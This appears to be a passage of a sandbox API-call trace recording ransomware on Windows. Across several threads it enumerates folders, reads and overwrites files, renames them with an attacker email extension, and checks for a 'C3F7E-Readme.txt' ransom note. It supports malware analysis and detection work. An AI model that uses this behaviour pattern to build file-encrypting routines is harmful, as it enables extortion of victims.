	[0073.440] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4c4
	[0073.440] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x608f93c | out: lpFileSize=0x608f93c*=16118) returned 1
	[0073.440] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x3ef2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.440] ReadFile (in: hFile=0x4c4, lpBuffer=0x608f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x608f8bc, lpOverlapped=0x0 | out: lpBuffer=0x608f8c0*, lpNumberOfBytesRead=0x608f8bc*=0x4, lpOverlapped=0x0) returned 1
	[0073.442] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0073.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0073.442] NtQuerySystemTime (in: CurrentTime=0x608f89c | out: CurrentTime=0x608f89c*=132251868001821417) returned 0x0
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xb4f70471
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xc9410921
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xf6cf9c1f
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x64aefd61
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xf1451dcf
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xd8b535b0
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xd148dba5
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x96168620
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x4e895827
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x6a43fd58
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x81d7a783
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xa499f313
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x2b32c582
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x92d9866d
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x597c1b71
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x38894db0
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x4d340801
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x2bd6118c
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xade50b0c
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xce639a7f
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x7b31c31f
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xb78fde52
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xf0a1a2b1
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xa3950947
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x6e6e2aee
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xea1a6931
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x76b4e913
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x862dc204
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x736aa7ca
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0x2445c8b4
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xf776be9f
	[0073.442] RtlRandom (in: Seed=0x608f8a8 | out: Seed=0x608f8a8) returned 0xa22d66f8
	[0073.492] ReadFile (in: hFile=0x4c4, lpBuffer=0x4735368, nNumberOfBytesToRead=0x3ef6, lpNumberOfBytesRead=0x608f898, lpOverlapped=0x0 | out: lpBuffer=0x4735368*, lpNumberOfBytesRead=0x608f898*=0x3ef6, lpOverlapped=0x0) returned 1
	[0073.493] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.493] WriteFile (in: hFile=0x4c4, lpBuffer=0x4741b70*, nNumberOfBytesToWrite=0x3ef6, lpNumberOfBytesWritten=0x608f894, lpOverlapped=0x0 | out: lpBuffer=0x4741b70*, lpNumberOfBytesWritten=0x608f894*=0x3ef6, lpOverlapped=0x0) returned 1
	[0076.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0076.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0076.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0076.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4741b70) returned 1
	[0076.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4735368) returned 1
	[0076.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733190) returned 1
	[0076.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d72fe8) returned 1
	[0076.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2d) returned 0x2d5bc80
	[0076.444] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.444] WriteFile (in: hFile=0x4c4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x608f8fc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x608f8fc*=0x111, lpOverlapped=0x0) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5bc80) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0076.449] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0076.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2adf8
	[0076.449] wcscpy (in: _Dest=0x2e2adf8, _Source="C:\\588bce7c90097ed212\\DHtmlHeader.html" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html"
	[0076.449] wcscat (in: _Dest=0x2e2adf8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.449] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x608f8b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d060
	[0076.450] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0076.450] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.450] NtQueryInformationFile (in: FileHandle=0x4c4, IoStatusBlock=0x608f8c0, FileInformation=0x608f898, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x608f8c0, FileInformation=0x608f898) returned 0x0
	[0076.450] NtSetInformationFile (FileHandle=0x4c4, IoStatusBlock=0x608f8c0, FileInformation=0x608f898, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2adf8) returned 1
	[0076.451] FlushFileBuffers (hFile=0x4c4) returned 1
	[0076.460] CloseHandle (hObject=0x4c4) returned 1
	[0076.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85a78
	[0076.461] wcscpy (in: _Dest=0x2d85a78, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.461] wcscat (in: _Dest=0x2d85a78, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.461] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85a78) returned 1
	[0076.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b200) returned 1

Thread:
	id = 69
	os_tid = 0x132c

	[0073.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x47304c0
	[0073.441] wcscpy (in: _Dest=0x47304c0, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0073.441] wcscat (in: _Dest=0x47304c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0073.441] wcscat (in: _Dest=0x47304c0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\*") returned="C:\\588bce7c90097ed212\\Extended\\*"
	[0073.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4731938
	[0073.441] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x4731938 | out: lpFindFileData=0x4731938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c40
	[0073.441] wcscmp (_String1=".", _String2=".") returned 0
	[0073.441] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4731938 | out: lpFindFileData=0x4731938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.492] wcscmp (_String1="..", _String2=".") returned 1
	[0073.492] wcscmp (_String1="..", _String2="..") returned 0
	[0073.492] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4731938 | out: lpFindFileData=0x4731938*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0073.492] wcscmp (_String1="Parameterinfo.xml", _String2=".") returned 1
	[0073.492] wcscmp (_String1="Parameterinfo.xml", _String2="..") returned 1
	[0073.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d5a0c0
	[0073.494] wcscpy (in: _Dest=0x2d5a0c0, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0073.494] wcscat (in: _Dest=0x2d5a0c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0073.495] wcscat (in: _Dest=0x2d5a0c0, _Source="Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml"
	[0073.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5a0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0073.495] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4731938 | out: lpFindFileData=0x4731938*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0073.495] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1
	[0073.495] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1
	[0073.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2d77600
	[0073.496] wcscpy (in: _Dest=0x2d77600, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0073.496] wcscat (in: _Dest=0x2d77600, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0073.496] wcscat (in: _Dest=0x2d77600, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml"
	[0073.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d77600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660
	[0073.496] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4731938 | out: lpFindFileData=0x4731938*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0073.496] FindClose (in: hFindFile=0x2d70c40 | out: hFindFile=0x2d70c40) returned 1
	[0073.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731938) returned 1
	[0073.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47304c0) returned 1
	[0073.497] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d734f8) returned 1

Thread:
	id = 70
	os_tid = 0x131c

	[0073.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x47304c0
	[0073.498] wcscpy (in: _Dest=0x47304c0, _Source="C:\\588bce7c90097ed212\\Graphics" | out: _Dest="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0073.498] wcscat (in: _Dest=0x47304c0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0073.498] wcscat (in: _Dest=0x47304c0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Graphics\\*") returned="C:\\588bce7c90097ed212\\Graphics\\*"
	[0073.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4734a30
	[0073.498] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c40
	[0073.501] wcscmp (_String1=".", _String2=".") returned 0
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.501] wcscmp (_String1="..", _String2=".") returned 1
	[0073.501] wcscmp (_String1="..", _String2="..") returned 0
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0073.501] wcscmp (_String1="Print.ico", _String2=".") returned 1
	[0073.501] wcscmp (_String1="Print.ico", _String2="..") returned 1
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0073.501] wcscmp (_String1="Rotate1.ico", _String2=".") returned 1
	[0073.501] wcscmp (_String1="Rotate1.ico", _String2="..") returned 1
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0073.501] wcscmp (_String1="Rotate2.ico", _String2=".") returned 1
	[0073.501] wcscmp (_String1="Rotate2.ico", _String2="..") returned 1
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0073.501] wcscmp (_String1="Rotate3.ico", _String2=".") returned 1
	[0073.501] wcscmp (_String1="Rotate3.ico", _String2="..") returned 1
	[0073.501] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Rotate4.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Rotate4.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Rotate5.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Rotate5.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Rotate6.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Rotate6.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Rotate7.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Rotate7.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Rotate8.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Rotate8.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Save.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Save.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="Setup.ico", _String2=".") returned 1
	[0073.502] wcscmp (_String1="Setup.ico", _String2="..") returned 1
	[0073.502] FindNextFileW (in: hFindFile=0x2d70c40, lpFindFileData=0x4734a30 | out: lpFindFileData=0x4734a30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0073.502] wcscmp (_String1="stop.ico", _String2=".") returned 1
